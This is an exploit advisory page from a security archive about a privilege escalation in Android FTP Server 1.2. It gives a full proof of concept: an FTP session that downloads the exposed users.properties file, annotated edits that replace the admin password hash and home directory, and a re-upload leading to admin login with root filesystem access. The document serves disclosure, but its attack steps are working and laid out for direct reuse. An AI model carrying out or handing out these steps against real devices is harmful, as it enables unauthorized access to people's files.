what you don't know can hurt you

Android FTP Server 1.2 Privilege Escalation

Android FTP Server 1.2 Privilege Escalation
Posted Sep 9, 2013
Authored by Larry W. Cashdollar

Android FTP Serve version 1.2 exposes the configuration file with full read and write permissions. A malicious party can overwrite the credentials for the administrator and escalate privileges.

tags | exploit
MD5 | c59f87bb2a7d3a30d4077bbd4f8c474c

Android FTP Server 1.2 Privilege Escalation

Change Mirror Download
Remote access to Android ftp server 1.2 configuration file allows login as admin 
Date: 9/7/2013
Author: Larry W. Cashdollar, @_larry0 
Download: http://www.amazon.com/888bid-com-Android-FTP-Server/dp/B00COVVAZM/ref=sr_1_1?s=mobile-apps
Description: "Transfer files between Android devices and computers without a USB cable and Windows software driver. Transfer files to and from your Android device over the Internet. Use Windows Explorer to transfer files between your Android device and your computer by drag and drop. You can add additional users with read only permission for download, and read and write permission for both upload and download."
Vulnerability: ftp server exposes configuration file and allows read/write. Allowing a remote user to overwrite the credentials for admin login giving full access to the file system on the device.
PoC
Edit the users.properties file and re-upload.
Connected to 192.168.0.29.
220 Service ready for new user.
Name (192.168.0.29:larry): android
331 User name okay, need password for android.
Password:
230 User logged in, proceed.
Remote system type is UNIX.
ftp> cd ftpConfig
250 Directory changed to /ftpConfig
ftp> ls
229 Entering Passive Mode (|||49825|)
150 File status okay; about to open data connection.
-rw------- 1 user group 679 Sep 7 16:37 users.properties
226 Closing data connection.
ftp> get users.properties
local: users.properties remote: users.properties
229 Entering Passive Mode (|||59616|)
150 File status okay; about to open data connection.
100% |********************************************| 695 9.60 MiB/s --:-- ETA
226 Transfer complete.
695 bytes received in 00:00 (121.85 KiB/s)
ftp>
If we take a look at the users.properties file:
#Generated file - don't edit (please)
#Sat Sep 07 16:13:44 EDT 2013
ftpserver.user.android.enableflag=true
ftpserver.user.admin.maxloginnumber=0
ftpserver.user.android.writepermission=true
ftpserver.user.android.idletime=0
ftpserver.user.admin.homedirectory=/mnt/sdcard <-change to /
ftpserver.user.admin.writepermission=true
ftpserver.user.admin.maxloginperip=0
ftpserver.user.android.homedirectory=/sdcard
ftpserver.user.admin.userpassword=21232F297A57A5A743894A0E4A801FC3 <- replace with 23594328\:070A6394BF17CD0A401F12ACC021714F 'android' password [1]
ftpserver.user.admin.downloadrate=0
ftpserver.user.admin.enableflag=true
ftpserver.user.admin.idletime=0
ftpserver.user.admin.uploadrate=0
ftpserver.user.android.userpassword=23594328\:070A6394BF17CD0A401F12ACC021714F
upload file as android/android user to ftpConfig/users.properties The next time the ftp server is started (on/off button in app interface) you can login as admin.
login as admin/android
ftp> user admin
331 User name okay, need password for admin. Password: 
230 User logged in, proceed.
Remote system type is UNIX.
ftp> dir
229 Entering Passive Mode (|||52585|)
150 File status okay; about to open data connection.
dr-x------ 3 user group 0 Jul 11 20:09 acct
d--x------ 3 user group 0 Aug 17 09:09 cache
d--x------ 3 user group 0 Jul 11 20:09 config
dr-x------ 3 user group 0 Dec 31 1969 d
d--x------ 3 user group 0 Sep 16 2012 data
dr-x------ 3 user group 0 Jul 11 20:15 dev
d--x------ 3 user group 0 Sep 2 14:07 dropbox
dr-x------ 3 user group 0 Mar 29 13:48 etc
dr-x------ 3 user group 0 Jul 11 20:09 mnt
dr-x------ 3 user group 0 Dec 31 1969 proc
d--x------ 3 user group 0 Feb 26 2013 root
d--x------ 3 user group 0 Dec 31 1969 sbin
drwx------ 3 user group 0 Sep 7 15:09 sdcard
dr-x------ 3 user group 0 Jul 11 20:09 sys
dr-x------ 3 user group 0 Mar 29 13:49 system
dr-x------ 3 user group 0 Mar 29 13:49 vendor
-r-------- 1 user group 118 Dec 31 1969 default.prop
---------- 1 user group 94200 Dec 31 1969 init
---------- 1 user group 1677 Dec 31 1969 init.goldfish.rc
---------- 1 user group 11658 Dec 31 1969 init.omap4430.rc
---------- 1 user group 14869 Dec 31 1969 init.rc
-r-------- 1 user group 0 Dec 31 1969 ueventd.goldfish.rc
-r-------- 1 user group 840 Dec 31 1969 ueventd.omap4430.rc
-r-------- 1 user group 4203 Dec 31 1969 ueventd.rc
226 Closing data connection.
ftp>

Tested on kindle fire & droid bionic. 
[1] MD5 of admin, http://www.md5-hash.com/md5-hashing-decrypt/21232f297a57a5a743894a0e4a801fc3 but didn't allow me to login when I used admin/admin. Vendor: Not notified.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2015

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    2 Files
  • 2
    Feb 2nd
    17 Files
  • 3
    Feb 3rd
    15 Files
  • 4
    Feb 4th
    16 Files
  • 5
    Feb 5th
    14 Files
  • 6
    Feb 6th
    4 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2015 Packet Storm. All rights reserved.

close